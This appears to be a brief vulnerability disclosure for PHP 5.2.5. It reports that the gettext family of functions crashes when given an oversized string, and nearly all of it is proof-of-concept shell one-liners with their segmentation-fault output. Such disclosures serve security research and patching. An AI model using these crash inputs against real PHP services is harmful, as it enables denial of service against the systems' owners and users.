"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are vulnerable to a Denial of service
Proof of concept example :
root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux
root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)
root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)
root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)
root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)
root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)
root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)
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